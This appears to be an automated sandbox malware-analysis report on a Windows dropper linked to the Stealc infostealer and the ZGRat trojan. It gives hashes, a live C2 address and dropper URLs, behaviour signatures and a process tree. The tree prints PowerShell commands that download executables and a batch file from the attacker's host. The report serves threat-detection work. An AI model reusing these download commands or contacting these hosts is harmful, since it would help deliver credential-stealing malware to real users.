Analysis

  • max time kernel
    153s
  • max time network
    159s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11-05-2024 02:21

General

  • Target

    3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7.exe

  • Size

    49KB

  • MD5

    213c0265511727869c959abd24ea3677

  • SHA1

    22ea6fe23eeb57d0048d1b0e2a826dd66c6969d9

  • SHA256

    3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7

  • SHA512

    bfa4d229ade2e47d91f3fb761e68f727aab86980a2697cb06955324e9b61b384569a285edfaa1d1dd7aea95e24d171a770a4f573a19ec795325c68250720f41e

  • SSDEEP

    1536:XferrLkSRoe8C4UZsys0Dh1duFpxFI+PlZ:Xfi3k+oWDBDh1duFpkWlZ

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=444&c=1000

Extracted

Family

stealc

C2

http://185.172.128.150

Attributes
  • url_path

    /c698e1bc8a2f5e6d.php

Signatures

  • Detect ZGRat V1 3 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 3 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 39 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 7 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7.exe
    "C:\Users\Admin\AppData\Local\Temp\3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:2620
    • C:\Windows\SysWOW64\cmd.exe
      "cmd" /c "C:\Users\Admin\AppData\Local\Temp\nsf50CC.tmp\est.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5320
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000','stat')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2196
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000','i1.exe')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:6028
      • C:\Users\Admin\AppData\Local\Temp\i1.exe
        i1.exe /SUB=2838 /str=one
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:1752
        • C:\Users\Admin\AppData\Local\Temp\u1co.0.exe
          "C:\Users\Admin\AppData\Local\Temp\u1co.0.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          PID:1864
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 1864 -s 2408
            5⤵
            • Program crash
            PID:1092
        • C:\Users\Admin\AppData\Local\Temp\u1co.1.exe
          "C:\Users\Admin\AppData\Local\Temp\u1co.1.exe"
          4⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Checks SCSI registry key(s)
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of WriteProcessMemory
          PID:2484
          • C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
            "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3936
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1752 -s 1048
          4⤵
          • Program crash
          PID:5952
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=444&c=1000', 'i2.bat')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4568
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3996 --field-trial-handle=2280,i,1836084024518340990,18250262151825427757,262144 --variations-seed-version /prefetch:8
    1⤵
      PID:4424
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --mojo-platform-channel-handle=2324 --field-trial-handle=2280,i,1836084024518340990,18250262151825427757,262144 --variations-seed-version /prefetch:3
      1⤵
        PID:6008
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 1752 -ip 1752
        1⤵
          PID:1432
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 1864 -ip 1864
          1⤵
            PID:432

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\ProgramData\Are.docx

            Filesize

            11KB

            MD5

            a33e5b189842c5867f46566bdbf7a095

            SHA1

            e1c06359f6a76da90d19e8fd95e79c832edb3196

            SHA256

            5abf8e3d1f78de7b09d7f6fb87f9e80e60caacf13ef3c1289665653dacd7c454

            SHA512

            f2ad3812ec9b915e9618539b0f103f2e9acaad25fbbacd84941c954ce070af231324e83a4621e951c1dbae8d40d50410954e40dd52bbd46e34c54b0d1957407b

          • C:\ProgramData\mozglue.dll

            Filesize

            593KB

            MD5

            c8fd9be83bc728cc04beffafc2907fe9

            SHA1

            95ab9f701e0024cedfbd312bcfe4e726744c4f2e

            SHA256

            ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

            SHA512

            fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

          • C:\ProgramData\nss3.dll

            Filesize

            2.0MB

            MD5

            1cc453cdf74f31e4d913ff9c10acdde2

            SHA1

            6e85eae544d6e965f15fa5c39700fa7202f3aafe

            SHA256

            ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5

            SHA512

            dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

            Filesize

            1KB

            MD5

            4280e36a29fa31c01e4d8b2ba726a0d8

            SHA1

            c485c2c9ce0a99747b18d899b71dfa9a64dabe32

            SHA256

            e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359

            SHA512

            494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4

          • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports

            Filesize

            2B

            MD5

            d751713988987e9331980363e24189ce

            SHA1

            97d170e1550eee4afc0af065b78cda302a97674c

            SHA256

            4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

            SHA512

            b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

          • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries

            Filesize

            40B

            MD5

            20d4b8fa017a12a108c87f540836e250

            SHA1

            1ac617fac131262b6d3ce1f52f5907e31d5f6f00

            SHA256

            6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d

            SHA512

            507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            16KB

            MD5

            d3a0414356b044424c5e02b79e762844

            SHA1

            f856859ed01526cd54e7d9f23ce02ac5238f6bbc

            SHA256

            a57dfd7b05564407c639bce4cb80e6946c50ed60db2d6941365387062fbc87c4

            SHA512

            ba61839f1b71620b0d947d0d1a818716786f2b902c34ee1c00225698b56a86808e4a9f870f2ddfaea271afff41008aba923a1e9c8531f8808a755b6711d2bccf

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            16KB

            MD5

            c20d276bb97a2c83377dc3bf4cd1e34e

            SHA1

            17c7fe8b7a9484faff7a77e7d505a4cb0b7e089a

            SHA256

            d3caa1fb8c9e03897c46a5ff7ea9b0236be3f21a151f024793d542f8a2c87323

            SHA512

            b5dae04e82ddcd913da4942c458c6bd213ed9a298146014f4c1b9f8c339b7e0a3c3a5fe3f79eec396017deb4a73057d32b5743cb7564319ae301629a59764bff

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_n1ilhjbg.xkk.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • C:\Users\Admin\AppData\Local\Temp\i1.exe

            Filesize

            387KB

            MD5

            af43558300cbc05d0a0ee6e9686e149c

            SHA1

            a73515318b396deac05c99d2f2079bd1c4a13c4e

            SHA256

            65639f2eeedff9ef5517f116a414c4ffad80069414ad93fb439e7d8ffe28e3ae

            SHA512

            b79c670408b41c1fbcb7e2457cd7983bcaaceafd0dee8c0a5d48f20a78e82fba39b83e24128dc5451144e9b985a9e28c54ac9596abf64b619620602f2689ec60

          • C:\Users\Admin\AppData\Local\Temp\nsf50CC.tmp\INetC.dll

            Filesize

            25KB

            MD5

            40d7eca32b2f4d29db98715dd45bfac5

            SHA1

            124df3f617f562e46095776454e1c0c7bb791cc7

            SHA256

            85e03805f90f72257dd41bfdaa186237218bbb0ec410ad3b6576a88ea11dccb9

            SHA512

            5fd4f516ce23fb7e705e150d5c1c93fc7133694ba495fb73101674a528883a013a34ab258083aa7ce6072973b067a605158316a4c9159c1b4d765761f91c513d

          • C:\Users\Admin\AppData\Local\Temp\nsf50CC.tmp\est.bat

            Filesize

            735B

            MD5

            f32d05160acf8325e9a09f09f80d16f4

            SHA1

            46e159b71e6ef99076c4002e1fda134e1d0a86c9

            SHA256

            da8f4f45b105538f0063ece220b69455b15c8e680099c02221c093ecb794ae37

            SHA512

            147c870edd09fa3f6cd93caae809b5d66fecc759e3cfee4e47dc487786edc760989fdb23310b4284e63871fe1b1d805e949601f54bfc93ff80e2e097a989879b

          • C:\Users\Admin\AppData\Local\Temp\u1co.0.exe

            Filesize

            245KB

            MD5

            dd87d2cb25ca0057e220c143dd4b628e

            SHA1

            48238804ea2bee1cb0cf1e1c946a12bfc1265a15

            SHA256

            e07d3383a78b7b05cd27cf2f569c6e93026e9f40dff4ccb8ec81efafa6b2b23f

            SHA512

            bc7a14eb4b49df3f99028b1ae6dadf6bbca205d564c13c7dc2d05641a9e0d06558eb0bf67aaf51cf5c9c70c9963fe6265755259dae8e643484b0124796f57ff3

          • C:\Users\Admin\AppData\Local\Temp\u1co.1.exe

            Filesize

            4.6MB

            MD5

            397926927bca55be4a77839b1c44de6e

            SHA1

            e10f3434ef3021c399dbba047832f02b3c898dbd

            SHA256

            4f07e1095cc915b2d46eb149d1c3be14f3f4b4bd2742517265947fd23bdca5a7

            SHA512

            cf54136b977fc8af7e8746d78676d0d464362a8cfa2213e392487003b5034562ee802e6911760b98a847bddd36ad664f32d849af84d7e208d4648bd97a2fa954

          • memory/1752-82-0x0000000000400000-0x000000000259D000-memory.dmp

            Filesize

            33.6MB

          • memory/1752-141-0x0000000000400000-0x000000000259D000-memory.dmp

            Filesize

            33.6MB

          • memory/1864-226-0x0000000000400000-0x0000000002579000-memory.dmp

            Filesize

            33.5MB

          • memory/1864-89-0x0000000061E00000-0x0000000061EF3000-memory.dmp

            Filesize

            972KB

          • memory/1864-199-0x0000000000400000-0x0000000002579000-memory.dmp

            Filesize

            33.5MB

          • memory/1864-152-0x0000000000400000-0x0000000002579000-memory.dmp

            Filesize

            33.5MB

          • memory/2196-19-0x00000000735D0000-0x0000000073D80000-memory.dmp

            Filesize

            7.7MB

          • memory/2196-30-0x00000000735D0000-0x0000000073D80000-memory.dmp

            Filesize

            7.7MB

          • memory/2196-16-0x00000000735DE000-0x00000000735DF000-memory.dmp

            Filesize

            4KB

          • memory/2196-40-0x00000000068E0000-0x00000000068FA000-memory.dmp

            Filesize

            104KB

          • memory/2196-35-0x0000000005E60000-0x00000000061B4000-memory.dmp

            Filesize

            3.3MB

          • memory/2196-37-0x00000000062D0000-0x00000000062EE000-memory.dmp

            Filesize

            120KB

          • memory/2196-39-0x0000000007D00000-0x000000000837A000-memory.dmp

            Filesize

            6.5MB

          • memory/2196-36-0x00000000735D0000-0x0000000073D80000-memory.dmp

            Filesize

            7.7MB

          • memory/2196-18-0x00000000735D0000-0x0000000073D80000-memory.dmp

            Filesize

            7.7MB

          • memory/2196-17-0x0000000002AE0000-0x0000000002B16000-memory.dmp

            Filesize

            216KB

          • memory/2196-24-0x0000000005DF0000-0x0000000005E56000-memory.dmp

            Filesize

            408KB

          • memory/2196-38-0x00000000064E0000-0x000000000652C000-memory.dmp

            Filesize

            304KB

          • memory/2196-23-0x0000000005D80000-0x0000000005DE6000-memory.dmp

            Filesize

            408KB

          • memory/2196-22-0x0000000005530000-0x0000000005552000-memory.dmp

            Filesize

            136KB

          • memory/2196-21-0x00000000735DE000-0x00000000735DF000-memory.dmp

            Filesize

            4KB

          • memory/2196-43-0x00000000735D0000-0x0000000073D80000-memory.dmp

            Filesize

            7.7MB

          • memory/2196-20-0x00000000055E0000-0x0000000005C08000-memory.dmp

            Filesize

            6.2MB

          • memory/2484-228-0x0000000000400000-0x00000000008AD000-memory.dmp

            Filesize

            4.7MB

          • memory/2484-239-0x0000000000400000-0x00000000008AD000-memory.dmp

            Filesize

            4.7MB

          • memory/2484-200-0x0000000000400000-0x00000000008AD000-memory.dmp

            Filesize

            4.7MB

          • memory/3936-251-0x00000153074F0000-0x00000153074FA000-memory.dmp

            Filesize

            40KB

          • memory/3936-248-0x0000015322810000-0x00000153228C2000-memory.dmp

            Filesize

            712KB

          • memory/3936-255-0x0000015322C00000-0x0000015322F00000-memory.dmp

            Filesize

            3.0MB

          • memory/3936-250-0x00000153228C0000-0x00000153228E2000-memory.dmp

            Filesize

            136KB

          • memory/3936-249-0x0000015322BB0000-0x0000015322C00000-memory.dmp

            Filesize

            320KB

          • memory/3936-240-0x00000153038C0000-0x00000153070F4000-memory.dmp

            Filesize

            56.2MB

          • memory/3936-241-0x0000015322910000-0x0000015322A1A000-memory.dmp

            Filesize

            1.0MB

          • memory/3936-243-0x0000015308D90000-0x0000015308D9C000-memory.dmp

            Filesize

            48KB

          • memory/3936-242-0x0000015307550000-0x0000015307560000-memory.dmp

            Filesize

            64KB

          • memory/3936-244-0x0000015308D80000-0x0000015308D94000-memory.dmp

            Filesize

            80KB

          • memory/3936-245-0x0000015308DB0000-0x0000015308DD4000-memory.dmp

            Filesize

            144KB

          • memory/3936-246-0x0000015308F40000-0x0000015308F4A000-memory.dmp

            Filesize

            40KB

          • memory/3936-247-0x0000015308F60000-0x0000015308F8A000-memory.dmp

            Filesize

            168KB

          • memory/6028-56-0x0000000005500000-0x0000000005854000-memory.dmp

            Filesize

            3.3MB

          • memory/6028-57-0x00000000735D0000-0x0000000073D80000-memory.dmp

            Filesize

            7.7MB

          • memory/6028-61-0x00000000735D0000-0x0000000073D80000-memory.dmp

            Filesize

            7.7MB

          • memory/6028-46-0x00000000735D0000-0x0000000073D80000-memory.dmp

            Filesize

            7.7MB

          • memory/6028-45-0x00000000735D0000-0x0000000073D80000-memory.dmp

            Filesize

            7.7MB